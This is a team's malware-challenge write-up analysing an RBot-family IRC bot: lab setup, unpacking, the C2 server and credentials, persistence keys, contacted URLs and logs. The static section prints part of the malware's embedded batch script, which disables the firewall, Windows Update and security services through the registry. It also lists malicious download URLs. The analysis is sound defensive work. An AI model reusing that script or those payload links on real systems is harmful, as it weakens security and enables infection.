

Malware Challenge Submission by Team ITT
John Decker, Erik Yusi, Dexter Lee and Joseph Wheeler

I. Describe your malware lab.

Lab equipment:

Static Analysis Hardware

- HP NC8000 Laptop. Intel Mobile Pentium 1.67 GHZ 512 MB RAM
- 2 - Microsoft Virtual PC's running Windows XP w/ no patching or Service Packs, no defensive software

Static Analysis tools used:

- PEID 0.94 – Portable Executable Identifier 0.94
- OllyDbg 1.10– debugging tool
- IDA Pro 4.9 Free version
- IMPREC 1.7 – Import Reconstructor 1.7
- UPX3.03/ASPACKDIE 1.41/Various other unpackers
- PE Explorer

Dynamic Analysis Hardware

- Computer 1 - Custom built server 1.4 GHz AMD, 2 GB RAM, 250 GB drive Windows XP Service Pack 1 with no updates, anti-virus or defensive software.
- Computer 2 - Compaq Presario R4025US Laptop 1 gb ram, Windows XP SP2

Dynamic Analysis Software Tools used:

- WireShark 1.0.3 – Packet Sniffer/Analyzer
- FileMon – File system monitor
- APIMON – API Call monitor
- ProcMon – Process monitor
- Windows Task manager – Performance monitoring
- SysAnalyzer
- WinDiff – file/folder comparison tool
- SimpleDNS – DNS server to act as malware responder

II. What kind of information can you gather from the malware without executing it?

Once the Malware.zip was unzipped we had an executable that was 74 Kb in size. We ran an MD5 checksum of the executable to ensure we used the original executable as we performed various analyses. The following steps of static analysis were then taken:

1. Using UPX 3.03 we attempted to unpack the file, but UPX did not recognize how the executable was packed.
2. Using ASPackDie 1.41 yielded a 492K file named unpacked.ExE but did not really produce anything usable.
3. Using OllyDbg 1.10 yielded a 497K file when selecting OllyDump>Dump debugged process from the plugins menu
4. Using PE Explorer we were able to unpack malware.exe. PE Explorer indicated it was packed using UPX, but listed the following message – “Crafty modifications to UPX header detected!” The compression method used was NRV2E_LE 32 Compression Level 8 and had an uncompressed size of 493 KB. Please see “Section - 1 PE Explorer output” for detailed information from PE Explorer.
5. We saved file as PE Exp dump1.exe
6. PE Explorer and the dumped executable indicated the malware was written using Microsoft’s Visual C++.
7. We then used IDA Pro v 4.9 (Free Version) to import the PE EXP dump1.exe file. Once the executable was loaded, we started ImportRec and chose the running PE EXP dump1.exe running process. We chose to AutoSearch for the Import Address Table(IAT) and a possible location was found. We then selected “Get Imports” and fixed the dump.
8. We then reopened the fixed dump file in IDA Pro 4.9.
9. We were able to look at the disassembled program, hex and strings to begin to piece together what this malware is able to do and the changes to the operating system it could make

NOTE: Please see “Section 2 – Static analysis for more detailed information.

III. Is the malware packed? If so, how did you determine what was used?

The unzipped malware executable was packed. Using PEID .94 against the malware executable, PEID indicated that the packer was UPX 0.89 – 1.02/1.05 – 1.24. Secondly, when analyzing the unzipped malware.exe using OllyDbg, Olly indicated that the file had large compressed structures and results may not be readable or reliable. Various other unpacking tools were used with similar results about being packed with UPX. We then ran the original malware.exe through PE Explorer. PE Explorer indicated that it was packed with UPX3 and was obfuscated. PE Explorer was able to unpack malware.exe. We resaved file as PE Exp dump1.exe to analyze the malware further.

IV. Describe the malware's behavior. What files does it drop? What registry keys does it create and/or modify? What network connections does it create? How does it auto-start, etc?

Note: This section is a summary of the malware's behavior. Please see "Section 2 – Static Analysis" and "Section 3- Dynamic Analysis" for log outputs.

The malware is from the RBot family of Trojans. When the program is executed, it gathers system environment information using various system functions, such as "GetHostName" and "NetUserEnum" (lists users on a machine). The computers physical information is gathered, services enumerated, ARP table information gathered and DNS is accessed and the resolver cache flushed. An IRCbot is installed on the computer "CRXBot alias RealmBot" and an ICMP ping is started to a machine at "testirc1.sh1xy2bg.net" and attempts to connect to the "#challenge" channel. It uses "gemp123" as a username and "happy12" as a password. The program also has the computer connect to "<http://www.Nivdav.net/Winsec32.exe>" which is a backdoor Trojan used in conjunction with the IRCBot. The Winsec32.exe program is installed as a hidden system service which ensures it runs each time the computer starts up. The malware created the following entries into the registry:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Svchost local services = Winsec32.exe

HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\ Microsoft Svchost local services = Winsec32.exe

HKCU\Software\Microsoft\OLE\ Microsoft Svchost local services = Winsec32.exe

A link of Winsec32.exe is also placed in the “C:\Windows\Prefetch” folder.

Another website that is contacted is “<http://W32-gen.us>” but looking at the page source the originating site is “<http://alumnoz.com/users/worm/>”. This malware also gathers information about network shares and attempts to connect to them using a built-in list of common usernames and passwords. The malware downloads different tools like a key logger and scanning tools

V. What type of command and control server does the malware use? Describe the server and interface this malware uses as well as the domains and URLs accessed by the malware.

After examining the IDA Pro strings window, we saw that the “Crxbot alias REalmbot(RBot) –by Lindem” by was installed. It appears from a couple of references in the strings section that it is controlled by regular IRC commands and VNC. The control channel appears to be located at “testirc1.sh1xy2bg.NET #challenge”

URL’s contacted:

<http://www.Nivdav.net/Winsec32.exe>

<http://W32-gen.us> but looking at the page source the originating site is <http://alumnoz.com/users/worm/>

Section 1 – PE Explorer Output

26.10.2008 07:04:17 : Open File: C:\Challenge\Malware Challenge\malware.exe
26.10.2008 07:04:19 : File size: 75264 bytes.
26.10.2008 07:04:19 : Using the Plug-in subsystem...
26.10.2008 07:04:19 : NsPack Unpacker Plug-in: Executing...
26.10.2008 07:04:19 : NsPack Unpacker Plug-in: <NsPack> The file is not NsPacked
26.10.2008 07:04:19 : NsPack Unpacker Plug-in: not accomplished.
26.10.2008 07:04:19 : Upack Unpacker Plug-in: Executing...
26.10.2008 07:04:19 : Upack Unpacker Plug-in: <Upack> The file is not Upacked
26.10.2008 07:04:19 : Upack Unpacker Plug-in: not accomplished.
26.10.2008 07:04:19 : UPX Unpacker Plug-in: Executing...
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> File compressed with UPX
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> UPX version: 13
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Crafty modification to UPX header detected!
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> File type: win32/pe
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Compression method: NRV2E_LE32
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Compression level: 8
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Uncompressed size: 493540 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Compressed size: 73233 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Original file size: 169472 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Filter ID: 26h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> CTO (for filters 21h .. 29h, 36h, 46h, 49h): 07h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Link checksum: From the header = 62h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Link checksum: Calculated = 62h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Compressed Adler32: From the header = B344D000h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Compressed Adler32: Calculated = B344D000h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Decompressing...
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Uncompressed Adler32: From the header = CD382BC0h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Uncompressed Adler32: Calculated = CD382BC0h
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> File has an original PE header (can be recovered).
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Unfiltering...
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Rebuilding Image...
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Section: .text 92672 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Section: .rdata 5120 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Section: .data 70656 bytes

26.10.2008 07:04:19 : UPX Unpacker Plug-in: <UPX> Decompressed file size: 169472 bytes
26.10.2008 07:04:19 : UPX Unpacker Plug-in: processed
26.10.2008 07:04:19 : MS-DOS Header Size: 0040h
26.10.2008 07:04:19 : MS-DOS Header: OK
26.10.2008 07:04:19 : Next Header OFFSET: 00E8h
26.10.2008 07:04:19 : PE Signature: OK
26.10.2008 07:04:19 : Calculating Checksum: SUCCESS (Header's Checksum: 00000000h / Real Checksum: 0001F257h)
26.10.2008 07:04:19 : EOF Position: 00029600h (169472)
26.10.2008 07:04:19 : Done.

Section 2 – Static Analysis

1. Malware gathers physical information from infected computer

ABC0:0041A198 000000D6 C [SYSINFO]: [CPU]: %!64uMHz. [RAM]: %sKB total, %sKB free. [Disk]: %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]: %s. [Uptime]: %s.

2. Malware gathers local network information from infected computer

ABC0:0041A2D0 0000003E C [NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.

3. Malware checks networking information from registry.

ABC0:0041A3F0 00001707 C @echo off\r\nEcho
REGEDIT4>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters]>>%temp%\1.reg\r\nEcho \"TransportBindName\"=\"\">>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess]>>%temp%\1.reg\r\nEcho \"Start\"=dword:00000004>>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuaucler]>>%temp%\1.reg\r\nEcho \"Start\"=dword:00000004>>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\wscntfy]>>%temp%\1.reg\r\nEcho \"Start\"=dword:00000004>>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole]>>%temp%\1.reg\r\nEcho \"EnableDCOM\"=\"N\">>%temp%\1.reg\r\nEcho
\"EnableRemoteConnect\"=\"N\">>%temp%\1.reg\r\nEcho.>>%temp%\1.reg\r\nEcho
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa]>>%temp

4. Malware creates a shell

ABC0:0041BCC0 0000000E C ShellExecuteA
ABC0:0041BCD0 0000000C C shell32.dll

Section 3 – Dynamic Analysis

1. Snapshot of requests to “testirc1.sh1xy2bg.NET” using SimpleDNS :

12:27:40 -> Answer: A-record for testirc1.sh1xy2bg.net = 127.0.0.1
12:27:43 Request from 127.0.0.1 for A-record for testirc1.sh1xy2bg.NET
12:27:43 Sending reply to 127.0.0.1 about A-record for testirc1.sh1xy2bg.NET:
12:27:43 -> Answer: A-record for testirc1.sh1xy2bg.net = 127.0.0.1
12:27:46 Request from 127.0.0.1 for A-record for testirc1.sh1xy2bg.NET
12:27:46 Sending reply to 127.0.0.1 about A-record for testirc1.sh1xy2bg.NET:
12:27:46 -> Answer: A-record for testirc1.sh1xy2bg.net = 127.0.0.1
12:27:49 Request from 127.0.0.1 for A-record for testirc1.sh1xy2bg.NET
12:27:49 Sending reply to 127.0.0.1 about A-record for testirc1.sh1xy2bg.NET:
12:27:49 -> Answer: A-record for testirc1.sh1xy2bg.net = 127.0.0.1
12:27:52 Request from 127.0.0.1 for A-record for testirc1.sh1xy2bg.NET
12:27:52 Sending reply to 127.0.0.1 about A-record for testirc1.sh1xy2bg.NET:
12:27:52 -> Answer: A-record for testirc1.sh1xy2bg.net = 127.0.0.1

2. Initially loaded modules: (From IMPRec Log)

Module loaded: c:\windows\system32\ntdll.dll
Module loaded: c:\windows\system32\kernel32.dll
Module loaded: c:\windows\system32\ws2_32.dll
Module loaded: c:\windows\system32\msvcr7.dll
Module loaded: c:\windows\system32\ws2help.dll
Module loaded: c:\windows\system32\advapi32.dll
Module loaded: c:\windows\system32\rpcrt4.dll

3. The dll modules used to call functions by the malware program to gather system information:

iphlpapi.dll – IP Helper API. Used to gather or modify network information

mpr.dll – dll module that communicates between Windows and network

dnsapi.dll – works with clients and DNS

netapi32.dll - Windows dll used for accessing a windows network and network functions.

odbc.dll – dll which interacts with databases

proxy.redirect.dll - redirects user browsers

shell32.dll - starts a shell

user32.dll - windows dll which works with application popups a graphics.

wininet.dll - performs internet browser and task functions.

ws2_32.dll

Advapi32.dll – A Microsoft DLL which interacts with many API's and other dll's. Can be used to maintain backdoor access

GDI32.dll - normal dll for Windows gui.